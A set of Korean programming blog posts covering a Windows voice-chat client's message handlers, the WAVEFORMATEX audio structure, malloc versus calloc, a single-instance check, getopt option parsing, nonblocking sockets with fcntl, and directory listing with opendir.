strRecv = (char*)(m_vtRecvMsgBuf.m_pData);

case VT_WAVE4S16:

m_progctrlRecv.SetPos(1);

// Get wave data buffer size

m_uiBufLen = m_vtRecvMsgBuf.m_lLength - SIZEVTMSGHDR;

// Copy wave data buffer

memcpy((void*)m_pWaveData, (void*)m_vtRecvMsgBuf.m_pData,m_uiBufLen);

 

음성값을 저장.

 

LONG CTalkclientDlg::OnVTDataReady(WPARAM wparam, LPARAM lparam)

:음성메시지를 위한 응답

 

Case :

m_vtRecvMsgBuf.m_ucCmd == VTCMD_REGNAME: 인 경우

:사용자이름을 말하는 레지스터이다.

:이부분에서 콤보박스에 어떤 사람과 채팅할 것인지 추가된다.

m_vtRecvMsgBuf.m_ucCmd == VTCMD_DEREGNAME 인 경우

:사용자 이름을 말하는 레지스트를 해지한다.

:이 부분에서 콤보박스에 위에서 추가한 사람이름을 삭제한다.

 

m_vtRecvMsgBuf.m_ucCmd == VTCMD_REQSESSION

:세션을 위한 초대부분이다.

:초대하는 sendMsgBuf를 만들어서 보낸다.

m_vtRecvMsgBuf.m_ucCmd == VTCMD_SESSIONREQRESP

:요청을 응답한다.

m_vtRecvMsgBuf.m_ucCmd == VTCMD_SESSIONCLOSE

:사용자가 나간다.

 

 

 

LONG CTalkclientDlg::OnVTReadyForWrite(WPARAM wparam, LPARAM lparam)

:메시지 쓰기를 위한 준비상태

SendMsgBuf 에 VTCMD_REGNAME 값을 cmd 로 넣고 보낸다.

 

 

LONG CTalkclientDlg::OnRecordEvent(WPARAM wparam, LPARAM lparam)

:MM_WIM_DATA를 위한 준비

WAVEHDR* lpwhdr = (WAVEHDR*)lparam;를 선언해 주고 여기에 받는다.

 

m_vtSendMsgBuf.m_ucIdentity = VT_IDENTITY;

m_vtSendMsgBuf.m_ucCmd = VTCMD_MSGDATA;

m_vtSendMsgBuf.m_ucMsgType = m_iWaveFormat;

m_vtSendMsgBuf.m_lLength = SIZEVTMSGHDR + lpwhdr->dwBufferLength;

memcpy((void*)m_vtSendMsgBuf.m_pData, (void*)lpwhdr->lpData,

lpwhdr->dwBufferLength);

이러한 식으로 음성포인터를 전해 전송한다.

 

 

LONG CTalkclientDlg::OnPlayEvent(WPARAM wparam, LPARAM lparam)

:MM_WOM_DONE 플레이 버퍼를 완료함

 

 

Posted by k1rha
2012. 4. 12. 18:49

춯처 : http://blog.naver.com/sshuikr?Redirect=Log&logNo=100060086075


WAVEFORMATEX 구조체

WAVEFORMATEX 구조체는, 파형 오디오 데이터의 포맷을 정의한다. 모든 파형 오디오 데이터의 포맷에 공통의 포맷 정보만이 이 구조체에 포함된다. 추가 정보가 필요한 포맷의 경우, 이 구조체는, 추가 정보와 함께 다른 구조체의 선두 멤버로서 포함된다.

이 구조체는 Platform SDK 의 일부로, Mmreg.h 로 선언되고 있지만, 편의상 이 문서에도 기재하고 있다.

구문

typedef struct { 
  WORD  wFormatTag; 
  WORD  nChannels; 
  DWORD nSamplesPerSec; 
  DWORD nAvgBytesPerSec; 
  WORD  nBlockAlign; 
  WORD  wBitsPerSample; 
  WORD  cbSize; 
} WAVEFORMATEX; 
멤버

wFormatTag

파형 오디오의 포맷 타입. 포맷 태그는, 많은 압축 알고리즘용으로 Microsoft Corporation 에 등록되어 있다. 포맷 태그의 완전한 리스트는, Mmreg.h 헤더 파일에 있다.

1 채널이나 2 채널의 PCM (Pulse Code Modulation) 데이터의 경우, 이 값은 WAVE_FORMAT_PCM 로 할 필요가 있다.

 

nChannels

파형 오디오 데이터에 포함되는 채널수. 단청(모노)의 데이터는 1 채널을 사용해, 스테레오 데이터는 2 채널을 사용한다.

 

nSamplesPerSec

샘플/초에 나타내는 샘플 레이트 (단위 Hz). wFormatTag 가 WAVE_FORMAT_PCM 의 경우,nSamplesPerSec 의 일반적인 값은 8.0 kHz, 11.025 kHz, 22.05 kHz, 44.1 kHz 가 된다. 비 PCM 포맷의 경우, 이 멤버는 제조업자의 포맷 태그 사양에 따라 산출할 필요가 있다.

 

nAvgBytesPerSec

포맷 태그에 필요한 평균 데이터 전송 레이트 (단위 바이트/초). wFormatTag 가 WAVE_FORMAT_PCM 의 경우,nAvgBytesPerSec 는 nSamplesPerSec 와 nBlockAlign 의 적과 동일해야 한다. 비 PCM 포맷의 경우, 이 멤버는 제조업자의 포맷 태그 사양에 따라 산출할 필요가 있다.

 

nBlockAlign

블록 alignment (단위 바이트). 블록 alignment란,wFormatTag 포맷 타입의 데이터의 최소 구성 단위이다. wFormatTag 가 WAVE_FORMAT_PCM 또는 WAVE_FORMAT_EXTENSIBLE 의 경우,nBlockAlign 는nChannels 와 wBitsPerSample 의 적을 8 (1 바이트 당의 비트수)으로 나눈 값과 동일해야 한다. 비 PCM 포맷의 경우, 이 멤버는 제조업자의 포맷 태그 사양에 따라 산출할 필요가 있다.

소프트웨어는, 한 번에 복수의 nBlockAlign 바이트의 데이터를 처리할 필요가 있다. 장치에 대한 데이터의 쓰기와 읽기는 항상, 블록의 선두로부터 시작 해야 한다. 예를 들어, PCM 데이터의 재생을 샘플의 도중 (즉, 비블록 아라인 경계상)부터 시작 하는 것은 부정하다.

 

wBitsPerSample

wFormatTag 포맷 타입의 1 샘플 근처의 비트수. wFormatTag 가 WAVE_FORMAT_PCM 의 경우,wBitsPerSample 는 8 또는 16 이 아니면 안된다.

wFormatTag 가 WAVE_FORMAT_EXTENSIBLE 의 경우, 이 값은, 임의의 8 의 배수를 지정할 수 있다. 일부의 압축 스킴은 wBitsPerSample 의 값을 정의할 수 없기 때문에, 이 멤버에는 0 을 지정해도 상관없다.

 

cbSize

WAVEFORMATEX 구조체의 마지막에 추가되는 추가 포맷 정보의 사이즈 (단위 바이트). 비 PCM 포맷은, 이 정보를 사용해 wFormatTag 의 추가 속성을 저장 할 수 있다. wFormatTag 에 추가 정보가 필요없는 경우는, 이 멤버는 제로로 설정해야 한다. WAVE_FORMAT_PCM 포맷 밖에 없는 경우, 이 멤버는 무시된다.

[출처] WAVEFORMATEX 구조체|작성자 네오랑

Posted by k1rha
2012. 3. 21. 03:08
void *calloc(size_t
nmemb, size_t size);
void *malloc(size_t size);

malloc과 calloc의
prototype은 위와 같습니다.
malloc은
size만큼의 메모리를 확보한 후에, 그 시작 주소를 리턴합니다.
calloc은
nmemb*size만큼의 메모리를 확보한 후에, 그 영역을 모두 0으로 초기화 하고
시작 주소를 리턴합니다.
calloc같은 건
배열을 위한 메모리를 확보할 때 좀 더 편리하게 사용할 수 있는
함수입니다.
하지만
malloc으로 못 할 건 없겠지요. ^^
아래 둘은 그
결과가 똑같습니다.
1. b = (int*)
calloc(n, sizeof(int));
2. b = (int*)
malloc(n * sizeof(int)); memset(b, 0, n*sizeof(int));

malloc으로 했을
때, memset(b, 0, n*sizeof(int)) 부분이 없다면, b가 가리키고 있는 메모리
영역에는 쓰레기 값이 들어가 있습니다. b[0]에만 들어가 있는 것이 아니라,
할당된 메모리 영역 전체에 이전에 누군가 썼던 내용이 그대로 들어 있단
말이지요.
Posted by k1rha
2012. 3. 21. 03:08

HANDEL hEvent;

hEvent=CreateEvent(NULL,FALSE,TRUE,AfxGetAppName());

if(GetLastError()==ERROR_ALREADY_EXISTS)

{

AfxMessageBox("이미 실행중입니다.");

return FALSE;

}

Posted by k1rha
2012. 3. 21. 03:07
유닉스에서는 프로그램 실행시 옵션으로 '-a','-b'등등을 줄 수 있는 것이 많은데 이 처리를 쉽게 하기 위해 만들어진 함수가 getopt입니다.

리눅스라면 getopt.h를, 유닉스 계열은 unistd.h를 include하시면 쓸 수 있습니다.

함수 정의는 당연히 위의 헤더 파일에 있을 거고요. 내용정의가 필요없다는 위의 답변은 저도 무슨 말인지 이해가 안되는군요...ㅡ.ㅡ;;

getopt의 아규먼트는 첫번째 두번째는 그냥 main에서 받는 argc랑 argv를 넘겨주면 되고, 세번째 인자는 옵션 형태입니다. 즉 위의 예제같은 경우 -a -d -i -v가 가능하다는 얘기구요. ':'의 의미는 추가 내용이 필요한 옵션이란 얘기죠. 위의 경우 -i는 -i 뒤에 또 무슨 내용이 와야 된다는 의미입니다.
ex)
while( (option = getopt( argc, argv, "t:d:s:a:" )) != -1 )
{
switch( option )
{
case 't':
strcpy( t_addr, optarg );
break;
case 'd':
strcpy( data_file, optarg );
break;
case 's':
step = atoi(optarg);
break;
case 'a':p
sprintf( account, "~%s/", optarg );
break;
default:
fprintf( stderr, "Usage : ./%s <Enter>\n", argv[0] );
exit( 1 );
}
}

Posted by k1rha
2012. 3. 21. 03:06

소켓을 사용하다보면 어떠한 신호와 연결된 채로 기다리는것이 아니라 지나가야할 경우가 발생한다
그때는 소켓을 넌블러킹으로 만들어주면 된다. 

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <netinet/in.h>
#include <string.h>
#include <netdb.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>

넌블럭킹 소켓

socket() 으로 생성되는 소켓은 기본값으로 Blocking 소켓이다. 하지만 이미 생성된 소켓을 fcntl() 함수를 사용하여 nonblocking socket으로 변경 가능하다.

※ Blocking Socket(B)/Nonblocking Socket(N)

(여기서 errno는 errno.h를 인클루드해야 이용할수 있다.)

- read

  • B : read 버퍼가 비어있을때 block
  • N : read 버퍼가 비어있을때 -1 return, errno==EWOULDBLOCK/EAGAIN

* Blocking socket의 경우에 read 버퍼에 존재하는 데이터의 크기가 read시 요청한 데이터의 크기보다 작은 경우라도 read 버퍼에 존재하는 데이터만큼 리턴되며 block 되지 않음.

- write

  • B : write 버퍼가 꽉 차있을때 block
  • N : write 버퍼가 꽉 차있을때 -1 return, errno==EWOULDBLOCK/EAGAIN

- accept

  • B : backlog( 현재의 connection 요청 큐 )가 비어있을때 block
  • N : backlog( 현재의 connection 요청 큐 )가 비어있을때 -1 return, errno==EWOULDBLOCK/EAGAIN

- connect

  • B : connection이 완전히 이루어질때까지 block
  • N : connection이 완전히 이루어지 않더라도 곧바로 return. 나중에 getsockopt로 connection이 완전히 이루어졌는지 확인가능.

※ Nonblocking 소켓의 장점/단점

  • 장점 : 멀티스레드를 사용하지 않고도 다른 작업을 할 수 있다.
  • 단점 : 프로그램이 복잡해지며, CPU 사용량이 증가한다.

※ Nonblocking 소켓으로 만드는 방법 : fcntl()함수를 이용한다.

int flag;

flag = fcntl( sock_fd, F_GETFL, 0 );

fcntl( sock_fd, F_SETFL, flag | O_NONBLOCK );

이미 생성된 소켓을 fcntl 로 넌블럭 소켓으로 바꿔준뒤 flag 값으로 리턴한다. 

Posted by k1rha
2012. 3. 21. 03:04
1. 디렉토리 파일 fopen으로 열수가없는지?
디렉토리 파일을 연다는 것이.. 디렉토리 열어 해당 파일 리스트를 보는 것은 아래와 같이 하시면 됩니다.
opendir()을 사용하시면 됩니다.

아래는 예 입니다...
#include <stdio.h>
#include <unistd.h>
#include <dirent.h>

int main(void)
{
DIR *dir_info;
struct dirent *dir_entry;

dir_info = opendir("."); // 현재 디렉토리를 열기

if ( NULL != dir_info)
{
while(dir_entry = readdir( dir_info)) // 디렉토리 안에 있는 모든 파일과 디렉토리 출력
printf( "%s\n", dir_entry->d_name);

closedir( dir_info);
}
}
Posted by k1rha